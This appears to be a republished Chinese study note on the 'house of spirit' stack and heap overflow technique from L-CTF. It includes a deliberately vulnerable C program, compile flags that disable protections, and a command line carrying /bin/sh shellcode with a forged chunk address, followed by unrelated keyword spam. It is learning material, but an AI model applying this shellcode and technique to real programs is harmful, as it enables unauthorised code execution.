千家信息网

【溢出利用技巧】house of spirit friendly stack overflow

发表于:2026-10-31 作者:千家信息网编辑
千家信息网最后更新 2026年10月31日,学习了一下L-CTF中介绍的一个栈溢出利用技巧,记录一下。样例代码如下:/* * blackngel's vulnerable program slightly modified by gb_mast
千家信息网最后更新 2026年10月31日【溢出利用技巧】house of spirit friendly stack overflow

学习了一下L-CTF中介绍的一个栈溢出利用技巧,记录一下。


样例代码如下:

/* * blackngel's vulnerable program slightly modified by gb_master */#include #include #include void fvuln(char *str1, int age){  char *ptr1, name[32];  int local_age;  char *ptr2;  local_age = age;  ptr1 = (char *) malloc(256);  printf("\nPTR1 = [ %p ]", ptr1);  strcpy(name, str1);  printf("\nPTR1 = [ %p ]\n", ptr1);  free(ptr1);  ptr2 = (char *) malloc(40);  snprintf(ptr2, 40-1, "%s is %d years old", name, local_age);  printf("\n%s\n", ptr2);}int main(int argc, char *argv[]){  int pad[10] = {0, 0, 0, 0, 0, 0, 0, 10, 0, 0};  if (argc == 3)    fvuln(argv[1], atoi(argv[2]));  return 0;}


编译命令如下:

gcc hos.c -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -mno-accumulate-outgoing-args -z execstack -o hos

Ubuntu 14 Server里编译需要安装一下开发包,否则会报错sys/cdefs.h文件找不到:

sudo apt-get install libc6-dev-i386

这里关键思路是:通过溢出修改局部变量的地址为栈中的一个地址,将伪造地址中的size字段设置成一个fastbin的有效大小,以便能成功将其free,后面的malloc将把此块内存重新申请并使用,snprintf函数再向其中写入数据,从而可以覆盖函数返回地址,最终getshell。

局部变量的内存分布如下:

0xffffd03c     name0xffffd05c     ptr20xffffd060     ptr10xffffd064     local_age

样例测试命令如下:

./hos `python -c 'import sys; sys.stdout.write("\x31\xc0\xeb\x14\x44\xd0\xff\xff\x6a\x0b\x58\x31\xf6\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\xcd\x80\x90" + "\x01\x01\x01\x68\xd0\xFF\xFF" + "\x30")'` 48

这里有点问题,通过GDB调试可以getshell,直接执行则报段错误:




地址 内存 函数 变量 命令 局部 编译 技巧 有效 成功 代码 关键 大小 字段 开发包 思路 数据 文件 错误 问题 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 亿人帮互联网科技有限公司 云之行互联网科技 圆梦互联网科技 互联网巨头反垄断金融科技 郑州华宇互联网科技 互联网科技类展会 顺网科技2021年互联网排名 无锡溥仪互联网科技有限公司 广西拼得多互联网科技有限公司 互联网科技产品 深圳国际航运科技和互联网 团飞科技与伯堂互联网服务平台 互联网科技商业 移动互联网年度科技创新 民营互联网公司国防科技 互联网在线教育科技创业 高科技互联网发展前景如何 滨湖区互联网智能科技产品有哪些 雨阳互联网卡科技有限公司 版纳互联网科技选哪家 喔噻互联网科技有限公司 互联网 科技公司 艾特科技互联网 互联网金融监管科技 互联网企业和科技型企业 东莞新华互联网科技学校 上海创道互联网络科技有限公司 从那以后互联网科技有限公司 杭州融税互联网科技有限公司 六子台科技互联网展会
0